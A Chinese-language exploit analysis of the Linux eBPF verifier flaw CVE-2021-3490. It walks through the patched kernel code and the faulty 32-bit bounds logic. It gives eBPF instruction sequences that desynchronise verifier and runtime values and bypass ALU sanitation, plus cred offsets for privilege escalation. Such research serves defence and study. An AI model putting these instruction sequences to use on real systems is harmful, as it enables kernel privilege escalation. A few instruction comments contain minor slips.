文章首發于安全客:CVE-2021-3490 eBPF 32位邊界計算錯誤漏洞利用分析
影響版本:Linux 5.7-rc1以后,Linux 5.13-rc4 以前; v5.13-rc4已修補,v5.13-rc3未修補。 評分7.8分。
測試版本:Linux-5.11 和 Linux-5.11.16 exploit及測試環境下載地址—https://github.com/bsauce/kernel-exploit-factory
編譯選項:CONFIG_BPF_SYSCALL
,config所有帶BPF字樣的。 CONFIG_SLAB=y
General setup
---> Choose SLAB allocator (SLUB (Unqueued Allocator))
---> SLAB
在編譯時將.config
中的CONFIG_E1000
和CONFIG_E1000E
,變更為=y。參考
$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v4.x/linux-5.11.16.tar.xz
$ tar -xvf linux-5.11.16.tar.xz
# KASAN: 設置 make menuconfig 設置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 編譯出的bzImage目錄:/arch/x86/boot/bzImage。
漏洞描述:Linux內核中按位操作(AND、OR 和 XOR)的 eBPF ALU32 邊界跟蹤沒有正確更新 32 位邊界,造成 Linux 內核中的越界讀取和寫入,從而導致任意代碼執行。三個漏洞函數分別是 scalar32_min_max_and() 、scalar32_min_max_or()、scalar32_min_max_xor()。AND/OR
是在 Linux 5.7-rc1 中引入,XOR
是在 Linux 5.10-rc1中引入。
補丁:patch 若低32位都為 known,則調用 __mark_reg32_known(),將32位邊界設置為reg的低32位(常數),保證最后更新邊界時,有正確的邊界。
diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
index 757476c91c984..9352a1b7de2dd 100644
--- a/kernel/bpf/verifier.c
+++ b/kernel/bpf/verifier.c
@@ -7084,11 +7084,10 @@ static void scalar32_min_max_and(struct bpf_reg_state *dst_reg,
s32 smin_val = src_reg->s32_min_value;
u32 umax_val = src_reg->u32_max_value;
- /* Assuming scalar64_min_max_and will be called so its safe
- * to skip updating register for known 32-bit case.
- */
- if (src_known && dst_known)
+ if (src_known && dst_known) {
+ __mark_reg32_known(dst_reg, var32_off.value);
return;
+ }
/* We get our minimum from the var_off, since that's inherently
* bitwise. Our maximum is the minimum of the operands' maxima.
@@ -7108,7 +7107,6 @@ static void scalar32_min_max_and(struct bpf_reg_state *dst_reg,
dst_reg->s32_min_value = dst_reg->u32_min_value;
dst_reg->s32_max_value = dst_reg->u32_max_value;
}
-
}*/
static void __mark_reg32_known(struct bpf_reg_state *reg, u64 imm)
{
reg->var_off = tnum_const_subreg(reg->var_off, imm);
reg->s32_min_value = (s32)imm;
reg->s32_max_value = (s32)imm;
reg->u32_min_value = (u32)imm;
reg->u32_max_value = (u32)imm;
}
保護機制:開啟KASLR/SMEP/SMAP。
利用總結:利用verifier階段與runtime執行階段的不一致性,進行越界讀寫。泄露內核基址、偽造函數表、實現任意讀寫后篡改本線程的cred。
1. 漏洞分析
參考:BPF介紹和相似漏洞分析,可參考CVE-2020-8835利用,里面也有var_off
也即tnum
結構的含義。總之,其成員 value
表示確定的值,mask
對應的位是1則表示該位不確定。
漏洞根源:eBPF指令集可以對64位寄存器或低32位進行操作,verifier
也會對低32位進行范圍追蹤:{u,s}32_{min,max}_value
。每次進行指令操作,有兩個函數會分別更新64位和32位的邊界,在 adjust_scalar_min_max_vals() 中調用這兩個函數。很多BPF漏洞都出現在對32位邊界的處理上。CVE-2021-3490也出現在32位運算 BPF_AND
、BPF_OR
、BPF_XOR
中。
1-1 代碼跟蹤
漏洞調用鏈:adjust_scalar_min_max_vals() -> scalar32_min_max_and()
*
/* WARNING: This function does calculations on 64-bit values, but * the actual execution may occur on 32-bit values. Therefore, * things like bitshifts need extra checks in the 32-bit case.
*/
static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
struct bpf_reg_state
*dst_reg,
struct bpf_reg_state src_reg)
{
...
case BPF_AND:
dst_reg->var_off = tnum_and(dst_reg->var_off,
src_reg.var_off);
scalar32_min_max_and(dst_reg, &src_reg); // [1] <--- 漏洞點
scalar_min_max_and(dst_reg, &src_reg);
break;
case BPF_OR:
dst_reg->var_off = tnum_or(dst_reg->var_off,
src_reg.var_off);
scalar32_min_max_or(dst_reg, &src_reg); // <--- 漏洞點
scalar_min_max_or(dst_reg, &src_reg);
break;
case BPF_XOR:
dst_reg->var_off = tnum_xor(dst_reg->var_off,
src_reg.var_off);
scalar32_min_max_xor(dst_reg, &src_reg); // <--- 漏洞點
scalar_min_max_xor(dst_reg, &src_reg);
break;
...
__update_reg_bounds(dst_reg); // [2]
__reg_deduce_bounds(dst_reg);
__reg_bound_offset(dst_reg);
return 0;
}
[1]
: 對比32位和64位的BPF_AND
操作。低32位 BPF_AND
中,若 src_reg
和 dst_reg
都為 known,則不用更新32位的邊界(開發者假設,反正之后還是會調用 scalar_min_max_and() -> __mark_reg_known() 來標記寄存器的,所以暫時不用處理),直接返回。64位 BPF_AND
中,若 src_reg
和 dst_reg
都為 known,則調用 __mark_reg_known() 將寄存器標記為 known。
問題:scalar32_min_max_and() 32位中,*_known
變量是調用 tnum_subreg_is_const() 來計算的,而 scalar_min_max_and() 64位中是調用 tnum_is_const() 來計算的。區別是,前者只判斷低32位的 tnum->mask
來判斷是否為 known,后者則判斷整個64位是否為 known。如果某個寄存器的高32位不確定,而低32位是確定的,則 scalar_min_max_and() 也不會調用 __mark_reg_known() 來標記寄存器。
static void scalar32_min_max_and(struct bpf_reg_state *dst_reg,
struct bpf_reg_state *src_reg)
{
bool src_known = tnum_subreg_is_const(src_reg->var_off);
bool dst_known = tnum_subreg_is_const(dst_reg->var_off);
struct tnum var32_off = tnum_subreg(dst_reg->var_off);
s32 smin_val = src_reg->s32_min_value;
u32 umax_val = src_reg->u32_max_value;
/* Assuming scalar64_min_max_and will be called so its safe
* to skip updating register for known 32-bit case. 開發者假設,反正之后還是會調用scalar_min_max_and() -> __mark_reg_known() 來標記寄存器的,所以暫時不用處理,直接返回。但是如果某個寄存器的高32位不確定,而低32位是確定的,則 scalar_min_max_and() 不會調用 __mark_reg_known()。
*/
if (src_known && dst_known)
return;
...
}
static void scalar_min_max_and(struct bpf_reg_state *dst_reg,
struct bpf_reg_state *src_reg)
{
bool src_known = tnum_is_const(src_reg->var_off);
bool dst_known = tnum_is_const(dst_reg->var_off);
s64 smin_val = src_reg->smin_value;
u64 umin_val = src_reg->umin_value;
if (src_known && dst_known) {
__mark_reg_known(dst_reg, dst_reg->var_off.value);
return;
}
...
}
[2]
:接著 adjust_scalar_min_max_vals() 會調用以下三個函數來更新 dst_reg
寄存器的邊界。每個函數都包含32位和64位的處理部分,我們這里只關心32位的處理部分。reg 的邊界是根據當前邊界和 reg->var_off
來計算的。
// __update_reg32_bounds() —— min邊界是取 min{當前min邊界、reg確定的值},會變大;max邊界是取 max{當前max邊界,reg確定的值},會變小。
static void __update_reg32_bounds(struct bpf_reg_state *reg)
{
struct tnum var32_off = tnum_subreg(reg->var_off);
/* min signed is max(sign bit) | min(other bits) */
reg->s32_min_value = max_t(s32, reg->s32_min_value,
var32_off.value | (var32_off.mask &
S32_MIN));
/* max signed is min(sign bit) | max(other bits) */
reg->s32_max_value = min_t(s32, reg->s32_max_value,
var32_off.value | (var32_off.mask &
S32_MAX));
reg->u32_min_value = max_t(u32, reg->u32_min_value,
(u32)var32_off.value);
reg->u32_max_value = min(reg->u32_max_value,
(u32)(var32_off.value |
var32_off.mask));
}
// __reg32_deduce_bounds() —— 接著用符號和無符號邊界來互相更新
/* Uses signed min/max values to inform unsigned, and vice-versa */
static void __reg32_deduce_bounds(struct bpf_reg_state *reg)
{
/* Learn sign from signed bounds.
* If we cannot cross the sign boundary, then signed and
* unsigned bounds
* are the same, so combine. This works even in the
* negative case, e.g.
* -3 s<= x s<= -1 implies 0xf...fd u<= x u<= 0xf...ff.
*/
if (reg->s32_min_value >= 0 || reg->s32_max_value < 0) {
reg->s32_min_value = reg->u32_min_value =
max_t(u32, reg->s32_min_value,
reg->u32_min_value);
reg->s32_max_value = reg->u32_max_value =
min_t(u32, reg->s32_max_value,
reg->u32_max_value);
return;
}
...
}
// __reg_bound_offset() —— 最后,用無符號邊界來更新 var_off
static void __reg_bound_offset(struct bpf_reg_state *reg)
{
struct tnum var64_off = tnum_intersect(reg->var_off, // tnum_intersect() —— 組合兩個tnum參數
tnum_range(reg->umin_value, // tnum_range() —— 返回一個tnum,表示給定范圍內,所有可能的值。
reg->umax_value));
struct tnum var32_off = tnum_intersect(tnum_subreg(reg->var_off),tnum_range(reg->u32_min_value, reg->u32_max_value));
reg->var_off = tnum_or(tnum_clear_subreg(var64_off),
var32_off);
}
1-2 觸發漏洞
BPF代碼示例:例如指令BPF_ALU64_REG(BPF_AND, R2, R3)
,對 R2 和 R3 進行與操作,并保存到 R2。
-
R2->var_off = {mask = 0xFFFFFFFF00000000; value = 0x1}
,表示R2低32位已知為1,高32位未知。由于低32位已知,所以其32位邊界也為1。 -
R3->var_off = {mask = 0x0; value = 0x100000002}
,表示其整個64位都已知,為0x100000002
。
更新R2的32位邊界的步驟如下:
-
先調用 adjust_scalar_min_max_vals() -> tnum_and() 對
R2->var_off
和R3->var_off
進行AND操作,并保存到R2->var_off
。結果R2->var_off = {mask = 0x100000000; value = 0x0}
,由于R3是確定的且R2高32位不確定,所以運算后,只有第32位是不確定的。struct tnum tnum_and(struct tnum a, struct tnum b) { u64 alpha, beta, v; alpha = a.value | a.mask; beta = b.value | b.mask; v = a.value & b.value; return TNUM(v, alpha & beta & ~v); }
再調用 adjust_scalar_min_max_vals() -> scalar32_min_max_and(),會直接返回,因為R2和R3的低32位都已知。
再調用 adjust_scalar_min_max_vals() -> __update_reg_bounds() -> __update_reg32_bounds() ,會設置
u32_max_value = 0
,因為var_off.value = 0 < u32_max_value = 1
。同時,設置u32_min_value = 1
,因為var_off.value = 0 < u32_min_value
。帶符號邊界也一樣。__reg32_deduce_bounds() 和 __reg_bound_offset() 對邊界不作任何改變。最后得到寄存器 R2 —
{u,s}32_max_value = 0 < {u,s}32_min_value = 1
。
1-3 調試BPF的方法
寫和調試BPF程序:可使用rbpf。
verifier 日志輸出:加載BPF程序時進行如下設置,即可在verifier
檢測出指令錯誤時輸出指令信息。正常調試時,可以下源碼斷點,斷在do_check()
函數中,具體觀察 verifier
檢查每條指令時寄存器的狀態。
char verifier_log_buff[0x200000] = {0}; // 這段緩沖區必須足夠大,否則會出錯
union bpf_attr prog_attrs =
{
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insn_cnt = cnt,
.insns = (uint64_t)insn,
.license = (uint64_t)"",
.log_level = 2, // 設置為 1 時,就能輸出簡潔的指令信息
.log_size = sizeof(verifier_log_buff),
.log_buf = verifier_log_buff
};
// 輸出示例
34: (bf) r6 = r3
35: R0_w=invP0 R2_w=map_value(id=0,off=0,ks=4,vs=4919,imm=0) R3_w=map_value(id=0,off=0,ks=4,vs=4919,imm=0) R4_w=invP0 R5_w=invP4294967298 R6_w=map_value(id=0,off=0,ks=4,vs=4919,imm=0) R7_w=invP(id=0) R10=fp0 fp-8=mmmm????
35: (7b) *(u64 *)(r2 +8) = r6
R6 leaks addr into map
runtime調試:如果BPF通過了verifier
檢查,如何獲取BPF程序運行時的信息呢?答案是插樁。ALU Sanitation
也是運行時檢查指令執行情況的保護機制,可以通過插樁觀察BPF指令是否已經改變。這里需要了解一個編譯選項,編譯時設置CONFIG_BPF_JIT
,則BPF程序在verifier驗證后是JIT及時編譯的;如果不設置該選項,則采用eBPF解釋器來解碼并執行BPF程序,代碼位于kernel/bpf/core.c:___bpf_prog_run()
。
regs
指向寄存器值,insn
指向指令。為了獲取每條指令執行時的寄存器狀態,可以關閉CONFIG_BPF_JIT
選項并插入printk
語句。示例如下:
static u64 ___bpf_prog_run(u64 *regs, const struct bpf_insn *insn)
{
...
int lol = 0;
// Check the first instruction to match the first instruction of
// the target eBPF program to debug, so output isn't printed for
// every eBPF program that is ran. 只打印部分指令的信息
if(insn->code == 0xb7)
{
lol = 1;
}
select_insn:
if(lol)
{
printk("instruction is: %0x\n", insn->code);
printk("r0: %llx, r1: %llx, r2: %llx\n", regs[0],
regs[1], regs[2]);
...
}
goto *jumptable[insn->code];
...
}
2. 漏洞利用 Linux v5.11.7 及以前版本
特點:我們采用Linux v5.11
版本的內核進行測試,特點是不需要繞過一種ALU Sanitation,之后我們會詳細介紹。
總目標:構造 r6
寄存器,使得 verifier
認為 r6
等于0,但實際執行時等于1。
2-1 觸發漏洞
首先,我們需要構造出兩個寄存器的值狀態,分別為var_off = {mask = 0xFFFFFFFF00000000; value = 0x1}
和 var_off = {mask = 0x0; value = 0x100000002}
。然后觸發漏洞,得到 r6
的 u32_max_value = 0 < u32_min_value = 1
。
注意:實際從map傳入的 r5 = r6 = 0
。
// (1) 構造 r6: var_off = {mask = 0xFFFFFFFF00000000; value = 0x1}
BPF_MAP_GET(0, BPF_REG_5), // (79) r5 = *(u64 *)(r0 +0) 從MAP傳入值,這樣其 mask=0xffffffffffffffff
BPF_MOV64_REG(BPF_REG_6, BPF_REG_5), // (bf) r6 = r5
BPF_LD_IMM64(BPF_REG_2, 0xFFFFFFFF), // (18) r2 = 0xffffffff
BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32), // (67) r2 <<= 32 0xFFFFFFFF00000000
BPF_ALU64_REG(BPF_AND, BPF_REG_6, BPF_REG_2), // (5f) r6 &= r2 高32位unknown, 低32位known為0
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 1), // (07) r6 += 1 {mask = 0xFFFFFFFF00000000, value = 0x1}
// (2) 構造 r2: var_off = {mask = 0x0; value = 0x100000002}
BPF_LD_IMM64(BPF_REG_2, 0x1), // (18) r2 = 0x1
BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32), // (67) r2 <<= 32 0x10000 0000
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 2), // (07) r2 += 2 {mask = 0x0; value = 0x100000002}
// (3) trigger the vulnerability
BPF_ALU64_REG(BPF_AND, BPF_REG_6, BPF_REG_8), // (5f) r6 &= r2 r6: u32_min_value=1, u32_max_value=0
2-2 構造 verifier:0 tuntime:1
// (4) 構造 r5 (r5也是MAP載入的值——0): u32_min_value = 0, u32_max_value = 1, var_off = {mask = 0xFFFFFFFF00000001; value = 0x0}
BPF_JMP32_IMM(BPF_JLE, BPF_REG_5, 1, 1), // (b6) if w5 <= 0x1 goto pc+1 r5: u32_min_value = 0, u32_max_value = 1, var_off = {mask = 0xFFFFFFFF00000001; value = 0x0}
BPF_EXIT_INSN(),
// (5) 構造 r6: verifier:0 tuntime:1
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 1), // (07) r6 += 1 r6: u32_max_value = 1, u32_min_value = 2, var_off = {0x100000000; value = 0x1}
BPF_ALU64_REG(BPF_ADD, BPF_REG_6, BPF_REG_5), // (0f) r6 += r5 r6: verify:2 fact:1 !!!!!!!!!!!!!!!!!!!!!!!
BPF_MOV32_REG(BPF_REG_6, BPF_REG_6), // (bc) w6 = w6 32位擴展為64位
BPF_ALU64_IMM(BPF_AND, BPF_REG_6, 1), // (57) r6 &= 1 r6: verify:0 fact:1
r6 += r5分析:目前寄存器狀態,r6—u32_min_value=2, u32_max_value=1, var_off = {mask = 0x100000000; value = 0x1}
,r5—u32_min_value=0, u32_max_value=1, var_off = {mask = 0xFFFFFFFF00000001; value = 0x0}
。
static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
struct bpf_reg_state
*dst_reg,
struct bpf_reg_state src_reg)
{
...
switch (opcode) {
case BPF_ADD:
scalar32_min_max_add(dst_reg, &src_reg); // [1] <---------
scalar_min_max_add(dst_reg, &src_reg);
dst_reg->var_off = tnum_add(dst_reg->var_off,
src_reg.var_off);
break;
...
__update_reg_bounds(dst_reg); // [2]
__reg_deduce_bounds(dst_reg); // [3]
__reg_bound_offset(dst_reg); // [4]
return 0;
}
// [1] 由于r5的低32位是0或1,r6的低32位是1,所以相加結果為1或2,所以低32位的1、2位都為unknown。其mask=0xffffffff 00000003
static void scalar32_min_max_add(struct bpf_reg_state *dst_reg,
struct bpf_reg_state *src_reg)
{
s32 smin_val = src_reg->s32_min_value;
s32 smax_val = src_reg->s32_max_value;
u32 umin_val = src_reg->u32_min_value;
u32 umax_val = src_reg->u32_max_value;
...
if (dst_reg->u32_min_value + umin_val < umin_val ||
dst_reg->u32_max_value + umax_val < umax_val) { // 判斷是否越界
dst_reg->u32_min_value = 0;
dst_reg->u32_max_value = U32_MAX;
} else {
dst_reg->u32_min_value += umin_val; // 沒越界則直接相加,min+min, max+max
dst_reg->u32_max_value += umax_val;
}
}
接著 adjust_scalar_min_max_vals()
會調用 __update_reg_bounds()
、__reg_deduce_bounds()
、__reg_bound_offset()
。
-
__update_reg32_bounds()
中,var_off
表示低32位,reg->u32_min_value = max{2, 0} = 2
,reg->u32_max_value = min{2, 0 | 0x3} = 2
(var32_off.mask = 3
)。 -
__reg32_deduce_bounds()
未做修改,因為signed 32
和unsigned 32
都相等。 -
__reg32_deduce_bounds()
中,tnum_range()
返回常數2(因為u32_min_value = u32_max_value=2
該范圍內只有2),由于reg->var_off.mask = 0x3
,所以tnum_intersect()
返回低2位是 known且為2。
最終得到 r6: {u,s}32_min_value = {u,s}32_max_value = 2, var_off = {mask = 0xFFFFFFFF00000000; value = 0x2}
。
// [2] __update_reg32_bounds()
reg->u32_min_value = max_t(u32, reg->u32_min_value,
(u32)var32_off.value);
reg->u32_max_value = min(reg->u32_max_value,
(u32)(var32_off.value | var32_off.mask)); // var32_off.mask=0x3
// [4] __reg32_deduce_bounds()
struct tnum var32_off = tnum_intersect(tnum_subreg(reg->var_off), // tnum_subreg取低32位
tnum_range(reg->u32_min_value, // 根據min、max返回一個tnum結構
reg->u32_max_value));
struct tnum tnum_intersect(struct tnum a, struct tnum b)
{
u64 v, mu;
v = a.value | b.value; // 簡單的整合
mu = a.mask & b.mask;
return TNUM(v & ~mu, mu);
}
此時的 r6—{mask = 0xFFFFFFFF00000000; value = 0x2} verifier:2 runtime:1
,只需取低32位并 AND 1
,即可得到 verifier:0 runtime:1
。
2-3 提權
后面的利用步驟和CVE-2021-31440一樣,參照 CVE-2021-31440 eBPF邊界計算錯誤漏洞 的exp即可提權。
3. 漏洞利用 Linux v5.11.8 - 5.11.16 版本
特點:我們采用 Linux v5.11.16
版本的內核進行測試,Ubuntu 21.04就是這個版本。2021年3月修復了一個verifier
計算alu_limit
(與ALU Sanitation
安全機制有關)時的整數溢出漏洞——commit 10d2bb2e6b1d8c,導致 Linux 5.11.8 - 5.11.16
這個版本區間的內核無法利用成功。當alu_limit = 0
時會觸發該漏洞,例如,當對map地址指針進行減法操作時(之前exp這么寫,是為了構造越界訪問,如泄露內核基址,或者修改map內存之前的 bpf_map
結構),會加入如下sanitation指令:0-1
將得到 aux→alu_limit = 0xFFFFFFFF
。
*patch++ = BPF_MOV32_IMM(BPF_REG_AX, aux->alu_limit - 1);
這個漏洞的存在,導致ALU Sanitation
機制失效了,因為 alu_limit
變得很大了,檢測不到越界訪問,所以之前那些公開的exp都能利用成功。但是這個漏洞被修復以后,就需要繞過這個限制,需要多加5條指令來繞過該機制。
繞過該ALU Sanitation:r7
指向map,r6
是verifier
以為是0而運行時為1的那個值。需要在r7指針進行運算前,使alu_limit != 0
。
- (1)
r8 = r6
先拷貝一下——r8 verifier:0 runtime:1
。 - (2)
r7 += 0x1000
,map指針加上一個常量,以設置alu_limit=0x1000
,這樣就能繞過運行時的ALU Sanitation
。 - (3)
r8 = r8 * 0xfff
——r8 verifier:0 runtime:0xfff
。 - (4)
r7 -= r8
, 由于verifier
以為r8等于0,所以alu_limit
保持不變。 - (5)
r7 -= r6
——r7 verifier:map+0x1000 runtime:map
。
注意:
-
創建map時必須足夠大,調用
syscall(__NR_BPF, BPF_MAP_CREATE, ...)
時第3個參數bpf_attr->value_size
要大于0x1000,不然執行第2條指令時就會報指針越界的錯誤。BPF_MOV64_REG(BPF_REG_8, BPF_REG_6), // 1-1. (bf) r8 = r6 BPF_REG_3 = BPF_REG_6 !!! 1-1 -> 1-5 是為了繞過alu_limit的限制 BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0x1000), // 1-2. (07) r7 += 0x1000 !!! 注意,map不能過小,小于0x1000 就報錯 BPF_ALU64_IMM(BPF_MUL, BPF_REG_8, 0xfff), // 1-3. verifier: r8=0; runtime: r8=0x1000-1 BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_8), // 1-4. r7 -= r8 BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_6), // 1-5. r7 -= r6
-
和
Linux v5.11
版本相比,還需要修改cred search的相關偏移:gef? p/x &(*(struct task_struct *)0)->pid $9 = 0x918 gef? p/x &(*(struct task_struct *)0)->cred $10 = 0xad8 gef? p/x &(*(struct task_struct *)0)->tasks $11 = 0x818
4. 漏洞利用 Linux v5.11.16以后的版本
特點:目前無法繞過最新的ALU Sanitation
保護機制。2021年4月ALU Sanitation
引入新的 patch—commit 7fedb63a8307,新增了兩個特性。
一是
alu_limit
計算方法變了,不再用指針寄存器的位置來計算,而是使用offset寄存器。例如,假設有個寄存器的無符號邊界是umax_value = 1, umin_value = 0
,則計算出alu_limit = 1
,表示如果該寄存器在運行時超出邊界,則指針運算不會使用該寄存器。-
二是在runtime時會用立即數替換掉
verifier
認定為常數的寄存器。例如,BPF_ALU64_REG(BPF_ADD, BPF_REG_2, EXPLOIT_REG)
,EXPLOIT_REG
被verifier認定為0,但運行時為1,則 將該指令改為BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 0)
。這個補丁本來是為了防側信道攻擊,同時也阻止了CVE-2021-3490
漏洞的利用。// 以下補丁可看出,如果不確定offset寄存器是否為常量,則根據其alu_limit進行檢查;如果確定其為常量,則用其常量值將其操作patch為立即數指令。 bool off_is_imm = tnum_is_const(off_reg->var_off); alu_state |= off_is_imm ? BPF_ALU_IMMEDIATE : 0; isimm = aux->alu_state & BPF_ALU_IMMEDIATE; ... if (isimm) { *patch++ = BPF_MOV32_IMM(BPF_REG_AX, aux->alu_limit); } else { // Patch alu_limit check instructions .... }
檢查發現,v5.11.17 已打該補丁,v5.11.16 未打該補丁。所以 v5.11.16 以上版本的內核就無法利用漏洞進行越界讀寫,不知道以后能不能繞過這個限制。
5. ALU Sanitation機制
原理:ALU sanitation
機制一直在進行更新,其目的是為了阻止verifier
漏洞的利用,原理是在runtime運行時檢查BPF指令的操作數,防止指針運算越界導致越界讀寫,其實是對verifier
靜態范圍檢查起到了補充的作用。
如果某條ALU運算指令的操作數是1個指針和1個標量,則計算alu_limit
也即最大絕對值,就是該指針可以進行加減的安全范圍。在該指令之前必須加上如下指令,off_reg
表示與指針作運算的標量寄存器,BPF_REG_AX
是輔助寄存器。
- (1)將
alu_limit
載入BPF_REG_AX
。 - (2)
BPF_REG_AX = alu_limit - off_reg
,如果off_reg > alu_limit
,則BPF_REG_AX
最高位符號位置位。 - (3)若
BPF_REG_AUX
為正,off_reg
為負,則表示alu_limit
和寄存器的值符號相反,則BPF_OR
操作會設置該符號位。 - (4)
BPF_NEG
會使符號位置反,1->0,0->1。 - (5)
BPF_ARSH
算術右移63位,BPF_REG_AX
只剩符號位。 - (6)根據以上運算結果,
BPF_AND
要么清零off_reg
要么使其不變。
總體看來,如果off_reg > alu_limit
或者二者符號相反,表示有可能發生指針越界,則off_reg
會被替換為0,清空指針運算。反之,如果標量在合理范圍內—0 <= off_reg <= alu_limit
,則算術移位會將BPF_REG_AX
填為1,這樣BPF_AND
運算不會改變該標量。
*patch++ = BPF_MOV32_IMM(BPF_REG_AX, aux->alu_limit);
*patch++ = BPF_ALU64_REG(BPF_SUB, BPF_REG_AX, off_reg);
*patch++ = BPF_ALU64_REG(BPF_OR, BPF_REG_AX, off_reg);
*patch++ = BPF_ALU64_IMM(BPF_NEG, BPF_REG_AX, 0);
*patch++ = BPF_ALU64_IMM(BPF_ARSH, BPF_REG_AX, 63);
*patch++ = BPF_ALU64_REG(BPF_AND, BPF_REG_AX, off_reg);
最近更新:最近更新了alu_limit
的計算方法,見commit 7fedb63a8307d,這里我們對比一下更新前后的計算差異。
- 之前:
alu_limit
由指針寄存器的邊界確定,如果指針指向map的開頭,則alu_limit
可減的大小為0,可加的大小為map size-1
,并且alu_limit
隨著接下來的指針運算而更新。 - 現在:
alu_limit
由offset
寄存器的邊界來確定,將運行時offset寄存器的值與verifier
靜態范圍追蹤時計算出來的邊界進行比較。
參考
Kernel Pwning with eBPF: a Love Story